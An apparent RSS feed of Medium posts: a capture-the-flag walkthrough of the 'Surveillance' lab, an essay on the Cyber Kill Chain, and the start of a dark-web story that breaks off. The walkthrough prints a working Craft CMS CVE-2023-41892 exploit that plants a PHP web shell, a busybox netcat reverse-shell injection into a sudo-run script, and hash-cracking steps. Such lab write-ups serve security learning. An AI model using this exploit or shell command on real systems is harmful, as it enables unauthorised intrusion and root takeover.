            <atom:updated>2024-02-01T13:28:16.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*l0KtwlytCPh8dSVJnpmKpg.png" /></figure><p>A detailed WalkThrough and a lot of new stuff to learn.</p><h4>Lab info:-</h4><p>Lab name:- Surveillance (Active)</p><p>Difficulty Level:- Medium</p><p>flags count:- 2</p><p>Lab System OS:- Linux</p><h4>Actual Steps:-</h4><p>1: Nmap Scan.</p><p>2: Adding host-to-host file</p><p>3: brut forcing Directories.</p><p>5: Exploit the CMS to get a reverse shell</p><p>6: Stabilize the reverse shell</p><p>7: find the password for the user to get user.txt</p><p>8: ssh to the new user</p><p>9: Enumerating the user</p><p>10: Forwarding Zoneminder to access it</p><p>12: Exploting the Zoneminder</p><p>13: Enumerating Zoneminder access to get to the root</p><p>14:Executing command on behalf of root and getting root.txt</p><h4>Execution:-</h4><p><strong>1: Nmap scan:-</strong></p><p>Scanning the IP address with a basic switch such as -sC -sV will provide enough info to get started and understand a bit about what we are dealing with. Here take a look. (if you can&#39;t ping or Nmap the IP address you will need to add the IP address to your hosts file in the etc directory I will mention it in step 2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*KbWHkzHZN3WeJ83W9Hmf4w.png" /></figure><p>So it speaks that 80 for HTTP and 22 for SSH are open but we need to check if they are up or not. If you just visit the IP address on the browser it will not load the website you will need to add the IP address to the hosts.</p><p><strong>2:Adding IP Address to host File and taking a look at the website</strong></p><p>You can locate your host file and add the IP address along with the name you want to give to the website Such as <em>Surveillance.htb. </em>Add it in hosts in such a way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*coSkr0HVVgJtyZAevQRjtQ.png" /></figure><p>Now let&#39;s check how it looks cause we need to find a way in through this port only.</p><p>This is how it looks and it certainly fails to fill us with enough info to find its weakness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pG51Hpw5cV87rtLRrj8O3w.png" /></figure><p>Now let&#39;s take a look at the source code to check if we find something useful on it. This is what I found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQR11vTIeyrKJSiz6diLpw.png" /></figure><p>It seems that the website is running a CMS and if it&#39;s a CMS then we can assume that this is our first lead to find our way in. But still, let&#39;s enumerate some more just for the sake of gaining more info about our target.</p><p><strong>3: brut forcing Directories.</strong></p><p>The previous source code gave enough info to begin but as it&#39;s a website it&#39;s always great to look for some hidden or present but useful directories. So let&#39;s run Gobuster on it for some good insight.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Ggi3HhYTE07cOWeKZE6bFQ.png" /></figure><p>We have /admin and index.php ew will focus on the /admin directory for now this is how it looks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lK_Cm8dWU4zTtUEiJrKuvA.png" /></figure><p>This confirms that it is using the above CMS we had seen earlier in the source code. So the current info we have is.</p><blockquote>CMS name:- Craft CMS</blockquote><blockquote>CMS version:- 4.4.14</blockquote><p><strong>4: Exploit the CMS to get a reverse shell</strong></p><p>So after some googling and striking the net and exploiting DB, I landed on the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41892">CVE-2023–41892</a> and it&#39;s a remote code execution vulnerability. Finally, a good finding to start with.</p><p>So I looked through <a href="https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce">this</a> gist post and it seems simple not very complicated but if you referred to some other writeup before mine then you might land up with an issue that their steps are not working as expected even after doing changes to the code you are asking for by the writeup the reason is that this <a href="https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce">gist </a>is updated and “<strong>now” </strong>don&#39;t need any changes to work like a charm. If you don’t want to visit the post and read through all the shenanigans just copy this code and create a .py file as you go to payload. Here have it.</p><pre>import requests<br>import re<br>import sys<br><br>headers = {<br>    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36&quot;<br>}<br><br>def writePayloadToTempFile(documentRoot):<br><br>    data = {<br>        &quot;action&quot;: &quot;conditions/render&quot;,<br>        &quot;configObject[class]&quot;: &quot;craft\elements\conditions\ElementCondition&quot;,<br>        &quot;config&quot;: &#39;{&quot;name&quot;:&quot;configObject&quot;,&quot;as &quot;:{&quot;class&quot;:&quot;Imagick&quot;, &quot;__construct()&quot;:{&quot;files&quot;:&quot;msl:/etc/passwd&quot;}}}&#39;<br>    }<br><br>    files = {<br>        &quot;image1&quot;: (&quot;pwn1.msl&quot;, &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>        &lt;image&gt;<br>        &lt;read filename=&quot;caption:&amp;lt;?php @system(@$_REQUEST[&#39;cmd&#39;]); ?&amp;gt;&quot;/&gt;<br>        &lt;write filename=&quot;info:DOCUMENTROOT/cpresources/shell.php&quot; /&gt;<br>        &lt;/image&gt;&quot;&quot;&quot;.replace(&quot;DOCUMENTROOT&quot;, documentRoot), &quot;text/plain&quot;)<br>    }<br><br>    response = requests.post(url, headers=headers, data=data, files=files)<br><br>def getTmpUploadDirAndDocumentRoot():<br>    data = {<br>        &quot;action&quot;: &quot;conditions/render&quot;,<br>        &quot;configObject[class]&quot;: &quot;craft\elements\conditions\ElementCondition&quot;,<br>        &quot;config&quot;: r&#39;{&quot;name&quot;:&quot;configObject&quot;,&quot;as &quot;:{&quot;class&quot;:&quot;\\GuzzleHttp\\Psr7\\FnStream&quot;, &quot;__construct()&quot;:{&quot;methods&quot;:{&quot;close&quot;:&quot;phpinfo&quot;}}}}&#39;<br>    }<br><br>    response = requests.post(url, headers=headers, data=data)<br><br>    pattern1 = r&#39;&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;upload_tmp_dir&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;(.*?)&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;(.*?)&lt;\/td&gt;&lt;\/tr&gt;&#39;<br>    pattern2 = r&#39;&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;\$_SERVER\[\&#39;DOCUMENT_ROOT\&#39;\]&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;([^&lt;]+)&lt;\/td&gt;&lt;\/tr&gt;&#39;<br>   <br>    match1 = re.search(pattern1, response.text, re.DOTALL)<br>    match2 = re.search(pattern2, response.text, re.DOTALL)<br>    return match1.group(1), match2.group(1)<br><br>def trigerImagick(tmpDir):<br>    <br>    data = {<br>        &quot;action&quot;: &quot;conditions/render&quot;,<br>        &quot;configObject[class]&quot;: &quot;craft\elements\conditions\ElementCondition&quot;,<br>        &quot;config&quot;: &#39;{&quot;name&quot;:&quot;configObject&quot;,&quot;as &quot;:{&quot;class&quot;:&quot;Imagick&quot;, &quot;__construct()&quot;:{&quot;files&quot;:&quot;vid:msl:&#39; + tmpDir + r&#39;/php*&quot;}}}&#39;<br>    }<br>    response = requests.post(url, headers=headers, data=data)    <br><br>def shell(cmd):<br>    response = requests.get(url + &quot;/cpresources/shell.php&quot;, params={&quot;cmd&quot;: cmd})<br>    match = re.search(r&#39;caption:(.*?)CAPTION&#39;, response.text, re.DOTALL)<br><br>    if match:<br>        extracted_text = match.group(1).strip()<br>        print(extracted_text)<br>    else:<br>        return None<br>    return extracted_text<br><br>if __name__ == &quot;__main__&quot;:<br>    if(len(sys.argv) != 2):<br>        print(&quot;Usage: python CVE-2023-41892.py &lt;url&gt;&quot;)<br>        exit()<br>    else:<br>        url = sys.argv[1]<br>        print(&quot;[-] Get temporary folder and document root ...&quot;)<br>        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()<br>        tmpDir = &quot;/tmp&quot; if &quot;no value&quot; in upload_tmp_dir else upload_tmp_dir<br>        print(&quot;[-] Write payload to temporary file ...&quot;)<br>        try:<br>            writePayloadToTempFile(documentRoot)<br>        except requests.exceptions.ConnectionError as e:<br>            print(&quot;[-] Crash the php process and write temp file successfully&quot;)<br><br>        print(&quot;[-] Trigger imagick to write shell ...&quot;)<br>        try:<br>            trigerImagick(tmpDir)<br>        except:<br>            pass<br><br>        print(&quot;[-] Done, enjoy the shell&quot;)<br>        while True:<br>            cmd = input(&quot;$ &quot;)<br>            shell(cmd)</pre><p>I saved it as POC.py. Now execute it with the following command.</p><pre>python3 POC.py http://Surveillance.htb/</pre><p>This is how the execution looks and our initial foothold too as a dumb reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*dVqaCtCmSPSw9uOWszf50Q.png" /></figure><p>Ok cool we are in and all looks great so far but this shell is not so stable and if you keep using it for a long time or even long enough to enumerate the machine it is inconsistent, slow and won&#39;t respond on time.</p><p><strong>5: Stabilize the reverse shell</strong></p><p>Most of you will go with the Python stabilizing method I will just say don&#39;t waste your time on it cause it won&#39;t work so I recommend generating a one-liner from your msfvenom in raw format, start your netcat listener on the port you specified in the one-liner payload and execute the payload on the initial access shell. A dumb shell but a bit better will be presented to you on your Netcat listener. Here this is how it looks</p><p>Msfpayload command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*lt3mI1dgngoykKvSMOgIcw.png" /></figure><p>netcat side</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*_7kN76qg9KFu1VNHUruHDA.png" /></figure><p>Now this shell can be upgraded by your Python approach if you don&#39;t know the command here it is.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>but this access was quite enough for me to start my way to escalate towards the user.txt flag.</p><p><strong>6: find the password for the user to get user.txt</strong></p><p>So from our current access, we didn’t find any user.txt around to submit our flag because the flag is present in another user we can list them out and they are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*J-FFjtw3w-7WGp4ojQ_gSQ.png" /></figure><p>So I assume that Matthew is the user who has our flag. So we will now start our horizontal movement to a better privilege i.e Matthew.</p><p>On enumerating our current user I found a backup directory that contains a zip file which was interesting to me cause it was an SQL backup file that may have some creds lying in it which can be useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*hrc73RaImEYyoywf20sVUQ.png" /></figure><p>To extract it and read it I used a Python simple HTTP server on the target access and wget it to my machine you can even take it to the attacker&#39;s machine with the browser just by browsing the machine&#39;s IP and the port number you specified as URL.</p><p>The command to set an HTTP service is here.</p><pre>python3 -m http.server 9000</pre><p>I extracted the zip file and had a thought of reading through it but why read it all i can just search for our listed users and find info related to them. This way I got a hash specified alongside of name Matthew.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8S4y2Q6dQKK1O5eRvfO9w.png" /></figure><p>Then I just threw the hash in the Hash-Identifier to know what it made of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*SWztQckEmW55axhPFn9Bmg.png" /></figure><p>So it&#39;s SHA-256 hard to crack maybe. Hash cat takes a huge time to do this job so I tried using John the Ripper for this task and he ripped it instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*5-d5rWtDQYAii1bmP1hYVg.png" /></figure><p><strong>7: ssh to the new user</strong></p><p>Now with the password, we can SSH to the user Matthew as SSH was running on the machine on port 22 and Boom we got a fully functional shell and even the user.txt, it&#39;s just in Matthew&#39;s Directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*udoy2Lll75QmJA2opDWrHA.png" /></figure><p><strong>9: Enumerating the user</strong></p><p>After Digging and scratching around for a huge while I just thought it would be better to run the automated enumeration script to find something that could help me escalate horizontally or vertically which every way I could. So I decided to use Linpeas for this approach. You can get the latest version of Linpeas.sh, file <a href="https://github.com/carlospolop/PEASS-ng/releases/tag/20240131-07961633">here</a> just download the top file and then use the Python HTTP server to transfer it to the target machine make sure to put it in the tmp Directory.</p><p>After Running the scan throughout the machine I ended up here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*61ko7uXo9I5dOpJWjxhn3g.png" /></figure><p>Knowing that it has a separate directory in the shared folder and that it is present as an API, I got curious and searched it on Google and found that it is an API that can provide a complete surveillance system circuit. Finally something related to the lab&#39;s name. Moving to Directory I found its version to be 1.36.32.1 in its config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ejjweOrq6j_v6PsEecHbvQ.png" /></figure><p><strong>10: Forwarding Zoneminder to access it.</strong></p><p>Now I need to know where is it being hosted and found it running on port 8080 but on Matthew&#39;s user machine which can be accessed only by port forwarding via SSH.</p><p>You can use the following command to forward that port on your local host on any IP I use 2222</p><p>Command</p><pre>ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VOVBmzH2hn0TXJ72-fgK4Q.png" /></figure><p>Then I tried visiting my local host at port 2222 and it worked that was a bit surprising and new for me. You can learn more about SSH port forwarding or Tunneling you should learn more <a href="https://www.ssh.com/academy/ssh/tunneling-example">here</a>.</p><p>This is how it looks on the browser.</p><p>#image here for the local host presentation of Zoneminder.</p><p>Yes a Login page, but we don&#39;t have the appropriate credentials to get login here.</p><p><strong>11: Exploting the Zoneminder</strong>.</p><p>Now with no credentials but the version known, I dug the internet to find a way to exploit it and landed on this exploit page of the Rapid Seven which even has a Metasploit module for it so it is easy to exploit. Have a look at the module and its setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ed3POWVTQC5Rqp1GjvcrVw.png" /></figure><p>Setting up the module on our own Metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*dgxaHYyFpovsLM5TxVh8Ag.png" /></figure><p>This will present you with an interpreter shell. Don&#39;t forget to set the Lport on the port you specified earlier in the port forwarding phase and we will log in as a zoneminder.</p><p><strong>12: Enumerating Zoneminder access to get to the root</strong></p><p>I enumerated this user using ‘<em>sudo -l’</em> command and found something weird that scratched my brain here you take a look.</p><p>If you want to know more about manual privilege escalation you can read this it will fill ur brain enough to look at such things by urself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*X74Mxlni8bs8pcYh1PUwKw.png" /></figure><p>Access towards all the pearl script files of the zoneminder. It even specify the directory that stores all the files. let&#39;s take a look at all the present files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*bJligy9vaOuRNJCH-MxmwQ.png" /></figure><p>Looking and reading the files and finding more info about executing these files and how will it help to get our goals done. In the zmupdate.pl I found this command at the start of the file which looks more like have some input space and response and output spaces present. let&#39;s try to execute it while just providing only the username as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*UNBnw-qEOsGG9eJA70kbeQ.png" /></figure><p><strong>13:Executing command on behalf of root and getting root.txt</strong></p><p>After executing the script as specified in the comments we got the password it even has the output section which is quite blank and it seems that it executes as a MySQL command. Let&#39;s try running the commands with some arbitrary inputs to find whether it hits us with an output or not.</p><p>let&#39;s run whoami just to see if anything returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*hVPA9BpqSIdya_bFUCB7WA.png" /></figure><p>The line in blue is the command that executed and the red one is the output which means that we can run the command as the root and the screenshot proves it.</p><p>let&#39;s try to get the root.txt and then we will be done. Let&#39;s use the busy box command to connect to Netcat on our host and get login as root.</p><p>Command on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r2vvTKIg7bp6vmLmq5izcw.png" /></figure><pre><br>sudo /usr/bin/zmupdate.pl -v 1.19.0 -u &#39;;busybox nc $You_IP_Address 1234 -e sh;&#39;</pre><p>You can use this command on the attacker side to execute it after executing the Netcat command on your (attacker) machine. When we are done we will get ourselves full high privileges root shell session on the net cat side.</p><p>This is the netcat side of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*EJr0v_JzMFLx_XrD8n2orQ.png" /></figure><p>Done just grav the root.txt from the root users directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPTP2cSURShlPgdVZKG0aA.png" /></figure><p>If you have read so far try some more of my content you might find them interesting maybe.</p><p>Thanks for reading and keep hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ace86c261a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Framework: The Cyber Kill Chain]]></title>
            <link>https://medium.com/@4tharva/understanding-framework-the-cyber-kill-chain-f62c4c5835bd?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f62c4c5835bd</guid>
            <category><![CDATA[cyber-security-framework]]></category>
            <category><![CDATA[cyber-kill-chain]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 10:11:48 GMT</pubDate>
            <atom:updated>2024-01-14T10:11:48.911Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction:</strong></p><p>A series of 7 critical steps identified based on the previous activities/behaviour of cybercriminal groups, combined in a single framework, which provides us with a linear approach from step one of identifying and enumerating the target until the last step which is destroying the target. This framework itself is referred by organizations to consider the level of compromise an organization faces or is facing.</p><p>Factfully looking at it we can form a statement like “A manual to provide to execute an attack from the initial phase of attack to the destruction phase of the target”.</p><p><strong>Cyber Kill Chain:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*mrFUp4fCufPQ_a1_" /></figure><p><strong>Now Let’s go through each phase individually:</strong></p><p><strong>Reconnaissance:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/0*WhSR_JySkbzJIA4s" /></figure><p>During the reconnaissance phase, an attacker uses multiple approaches to gather intel regarding the work, employees, services, and even the number of hardware components used by the organization. This information is obtained using Social Engineering (SE). This phase may also provide the attacker with credentials to the services or even the network, which may be leaked through an unknown person to the organization or a member of the organization itself intentionally or by mistake. The attack can also use other practices such as phishing attacks, impersonation, etc. More refined and heavy intel may provide good chances of success in exploiting the system.</p><p><strong>Weaponization:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*6DkIRLNYPl-IPCm6" /></figure><p>This is the phase where the attacker puts all the obtained information to work by generating malware that is well-suited according to the current configurations of the target or else modifying existing malware to take advantage of these vulnerabilities. Weaponization is where exploits and approaches are decided; based on these approaches, the exploits and strategies are changed. So we have to consider the compilers available in the target environment and by that select the language for generating the exploit. The vector of this phase depends a lot on the motive to be achieved from the adversary’s perspective and the cost of profit gained by the adversary.</p><p><strong>Delivery:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*NFnPBleBxHNz6p8k" /></figure><p>This is the stage where the attacker should be considered active, as this phase includes deployment of the exploit and payload generated and configured according to the service they are supposed to get executed on. Regardless of the decided approach in this phase, the attacker has to get involved with the target on a physical level. The execution of this process takes place in either of the following ways: a phishing attack to transfer a back door or to get remote access, exploiting an identified vulnerability in the hardware or the software implemented or present in the target network.</p><p><strong>Exploitation</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*vBbDHNtWmuw__J4D" /></figure><p>Up until the aid from previous chains has helped the attacker gain a successful breach and now he has considerable access to the organization’s hardware or software he obtained by exploiting the vulnerability identified previously or due to the outburst of the exploit sent through the mail. Being the most active phase for the attacker. This phase also becomes a caution to the attacker as this is the phase he has to escalate horizontally and enumerate the network to find a point for better hold on the currently accessed system. All the after activities such as privilege escalation and pivoting lie under a different sub-phase called post-exploitation which assists in the lateral movement.</p><p><strong>Installation:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/0*QWdbtocP4_nrcRXX" /></figure><p>After exploiting the identifying vulnerabilities and getting initial access to the target now is the time to set the stage. The setting stage term refers to installing malware and other weaponized utilities on the system to exfiltrate sensitive data through the remotely accessed system. Now in such a strong position, the attacker can take advantage of such an opportunity and install some utilities such as a keylogger, and backdoor, which can help him maintain persistent access and even gain the upper hand using the extracted information via keyloggers.</p><p><strong>Command and control:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/0*vqxYon9xI0qokxjW" /></figure><p>After the undetected installation phase, we have a lot of control over the system, which we will abuse by communicating with the installed malware and then instructing it to keep the weaponized utilities running not just to maintain access but also to achieve the main objective or motive that can be consistent access or extraction of data from the target. The Miter attack framework will provide you with a great briefing related to seventeen command and control techniques, each of these techniques having sub-techniques. Such techniques when combined with their understanding can provide us with dynamic access throughout the system.</p><p><strong>Action on Objective</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*WegsSii05xDZI4eb" /></figure><p>As the final stage of the chain, this phase varies a lot because till now the adversary has been able to do a lot with his foothold on the system. He may have got a new malware stream, with which he was able to exploit the system, which he can distribute to other cybercriminals. Through his access and exfiltrated data, he can now demand a heavy ransom tool from the organization or can encrypt all the data present on the system and demand ransom for providing the encryption key. He can even bottleneck the system to disturb the function by performing a heavy Denial Of Service (DOS) attack or a Distributed Denial Of Service (DDOS) attack via a botnet.</p><h4>So far we can assume that it had a been a great support arsenal for the red teamers but let’s take a look how it had a great impact also for the defensive side</h4><h3>Defensive usage :-</h3><p>Each phase can be considered as a level of compromise faced when a certain organization is being monitored by its defenders AKA the blue team.</p><blockquote>Sooo you may ask what help will this do to recover from an ongoing attack. Let’s consider it like a cretian game where we have to defeat a buch of demons evading our castel but dont want to get detected . This group keep getting stronger as the level of threat for us rises. In this case we can consider the level of threat as increasing chances of our death</blockquote><ul><li>Level 1 find! (Compared with Reconnaissance)</li></ul><p>So the current group of demons is THE CLOAKS this group will interact least but are threat cause they are good at collecting information from shadows. But yet they leave some traces which can help us to track them down.</p><p>In reality the attacker in this stage behaves similarly he will get all required information while trying to hide it’s presence. But some these activities may still leave some traces such as generating suspicious logs, or the threat intell team getting leads form there sources regarding latest topic going on in the adversary community.</p><ul><li>Level 2 get your shields up ! (Comparing to weaponization)</li></ul><p>This category of demonic group run the forges for other attacking demons. They forge weapons based on there recent info regarding there opponent “us” . As our role we need to know more about this forged/developed weapons and getting our shields and defence lined up.</p><p>So for the real surface believers out there the above stuff means that defensive Intel team should have an eye out there for all the developed exploits or malwares for the service used by the organization they are defending.</p><ul><li>Level 3 be aware of the traps!!</li></ul><p>( compared with Delivery)</p><p>A group of demons that are good in there strategy to build clean and precise traps which will lead them to there initial access. Our roles while taking a fight with them is to be aware of there delusion and mirages to escape a fake a but really tempting traps.</p><ul><li>So this means that blue teamer , the strong defenders need too keep eye on those dum and not so aware employe activities which end up falling into these holes and after which the entire threat response and recovery teams has to work hard to get there organization stabilized.</li><li>Level 4 keep close eyes on these Assassins</li></ul><p>The threat of death is much high as the attacking sides best Initiator is doing his job. These demos are close to you and can decoy them as someone native to you and then soon you will be at the highest threat level if his work is going on without getting detected.</p><p>For reality fetchers :-</p><p>So most attack at this phase are well executed and great at evading the defense but for this category there are some defensive major that has to executed based on the conditions and gathered intel. The detection for this phase is mostly based on the behavior of the attacking automated system or the advisory itself. The logs in this scenario works great. If you want to learn more about the upcoming behavior if they follow a trend to attak you can always refer the the most efficient and updated frame work “miter attack”.</p><ul><li>Level 5 be aware of upcoming threat</li></ul><p>(Compared with installation)</p><p>A category that are here uninvited but will become terrible as they are able to summon a huge threat. These guys are powerful enough to who can set a great stage for there upcoming demon.</p><p>Here here I got it u didn’t understand what it means :-</p><p>At this phase there might be some highly compressed not so suspicious presence of software which will become a stage for a malware or ransomer. But such active installation are kind of visible so finding such pre executing processes for a good intel team is not so challenging but the execution at soo high level are fast and will slipp out of hands is some basic evasion techniques by some time for them. All the conversation made by the system can be a good lead to look for traces. By this time there will be new registries being created new file will be created , file data will be update. For now the blue team has the only option to shut down the system so that the exploit don’t spread throughout the system and network and dump the volatile data yes I mean the RAM data to investigate further.</p><ul><li>Level 6 now all hopes are on recovery</li></ul><p>(Compared with command and control)</p><p>the demons in this are of range are are the after workers and now a lot of things are happening in your castel there are new pass through holes through ur defensive walls for the enemy to ha an alternative way to enter your castel there will be new canals under neath the road due to which now they can move thorough the castel in a agile manner.</p><p>Yes realistic guys here the new holes are new hidden connection maybe by the system to maintain persistent access to the system and the canals are the new horizontal access throughout the systems to move around. So what can we doooo! Just be aware of the newly madhe connection out of the system and also throughout the system.</p><ul><li>Level 7 make a deal for our princess</li></ul><p>Most clever and the master mind of the all this huge deal we were defending. This clever demon now had completed the execution and here is with his deal of life. So for all the stolen goods and overtaken land he will demand sole of the princess or the land goes baren and people will lose there hope to live. And all we can do it to wait for the second opportunity to take him down by tracking the traces.</p><p>Yes the above story spell everything right after being compromised at this level the adversary has to be paid or full fill there demand and now all the blue team can extract is the info of the attackers and trace them down vai the payment method begin used but that quit hard now cause the cryptography payments are hard to trace till the reciver but the key provided by them to decrypt the encrypted files by the ransomware can be matched with other organization who had faced the same issues.</p><p>Phewww that was a lot leman example stuff and also some realistic perspective have a good read and follow for more maybe 😅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f62c4c5835bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Onion head Story:1]]></title>
            <link>https://medium.com/@4tharva/onion-head-story-1-54004d4572ca?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/54004d4572ca</guid>
            <category><![CDATA[darknet]]></category>
            <category><![CDATA[darkweb]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 16:04:11 GMT</pubDate>
            <atom:updated>2023-09-06T16:13:29.077Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rlb02gSuhDS7GoEjoErmrQ.jpeg" /></figure><p>This series of stories will tell you how I approached the dark web from scratch just to learn dark web analysis so that I can know more about the hidden part of the web network this series will also help you in your own journey as a guide to making a walk around dark corners of the unknown web aka the dark web, so follow along till the point it feels right to you and correct me is something goes wrong, no need to worry I will make this guide or stories you may call more like a easy digest material and make a plastic(one of the most non degradable material on earth ) foundation. Enjoy or maybe get terrified like I got.</p><p>So I decided to take a look into the most hidden part of the website that is unknown to many and to investigate that part I was a bit curious about what actually exists on the dark web for which I read a lot of blogs to understand what am I dealing with and what can genuinely be found on the dark side of the net. So people there mostly call it an anonymous web which suits it cause it is so crucial that you keep your identity secured and unknown to the people who are much alive on this side of the web.</p><h3>What my first read through the multiple blogs gave me: —</h3><p>Most of the mentions some brief statements which I will define here but some I can’t cause of censorship purposes, The first thing I was told and was hammered in my brain was “Things that you may have seen or heard on the news or by any medium about the activities going on the dark web are TRUE ”, I don&#39;t know about you guys this line, in particular, scares me a lot and I cause I had seen and heard a lot from multiple sources about the stuff related to the dark web and trust me I had heard a lot of bad news about the activities happening there.</p><p>Mostly all of them suggested that I should be aware of where you are clicking cause each link is not a joke it even might be a real deal most of the time. With these broad mentions in many blogs, I got the idea that there might be a lot of tempting schemes and ads that are not just misleading but can be a real thing but I thought that these links or ads would be still a bit hidden or a bit filtered and will be suggested or placed on a specific section for the people who actually need them and will not be put right on my face as the first thing which will welcome me to the dark web, but on reading further every blog defined me wrong by slapping me with multiple warnings that such surfing, by the word such I mean suspicious for mostly anybody who don&#39;t know about the dark web much is ban in many countries and make sure you follow the rules which you are bound to. On reading further I got a warning to make sure that I am not being involved or “<strong>click</strong>” to be precise on or with suspicious schemes cause you might end up behind bars.</p><p>Up until now, I was extremely confident that this dark web thing is some complicated stuff cause I have to clear every foot I keep in this section as it is not some casual surfing.</p><p>So with a mind overloaded with warnings and multiple cross-thoughts, I started reading through blogs more seriously and that gave me one more fact that I should highlight “The amount of web we use in our day-to-day life aka the clear web is only the 4% of the entire world wide net” ya it&#39;s true I know that 4% is a small amount compared to the many things one could search, buffer, download, or visit in their day-to-day life..but there is still something that will make a bit more sense, the next line reads something like this “the most consumed part of the internet is the deep web(90%) ” so by this I was still thinking then how much percent is the dark web?. If my pals you don&#39;t know what a deep web is then here is a one-line explanation.</p><p>“It is a part of the internet that keeps your private data or the data of a particular organization&#39;s data which is kept hell secure in…. most of the cases actually and yes its the biggest part of the internet”</p><p>So let&#39;s continue the story. The answer to my previous question was also found “The internet consists of approximately 6% that is the dark web.”This gave me a bit of hope that there is still a sense of approaching this pathway of hyper-confidentiality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GVe2A85QKl2AohKy" /></figure><h3>Deep Web(90%)</h3><p>So just for an explanation what is deep web? This section or let’s say this biggest sub-container that originated from the internet contains some stuff that is kept confidential or is used to provide service that is visible to an individual and the same thing will not be allowed to be made visible to others.</p><p>example:- Someone’s exam result (ya you can see that if you have credentials ), Someone’s private notes, Organization white papers</p><h3>What did I learn or what will I do even if I have to force myself on this pathway?</h3><p>So with all the things being discussed the warning section, and the percentage section let&#39;s discuss what we will need to enter the web. Now then I need to hide my search or surf from my internet service provider and even to be safe from back-talking the sites so I need some VPN and virtual machine socks to cover my foot before entering the dark web. There were multiple ways to get that attire on, I preferred the virtual machine option cause so far they have been easy to set and use but I will explain all the ways to achieve the same thing in multiple ways.</p><p><strong>1: Isolated Virtual environment:-</strong></p><p>Yes, this is my preferred approach cause in my case the reason I have makes sense. I have entirely separated the setup intended for such stuff which is far from having any credentials of mine. So let&#39;s start:-</p><p>Step 1: Just download your preferred or most used virtual environment software (I used a virtual machine just in case anyone is asking).</p><p>Step 2: Get your favorite ISO image and you are ready to start up a virtual OS on your same machine. is prefer taking VM-ready iso form <a href="https://www.kali.org/get-kali/#kali-virtual-machines">here </a>if you are thinking of going with Linux.</p><p>Step 3: Make sure 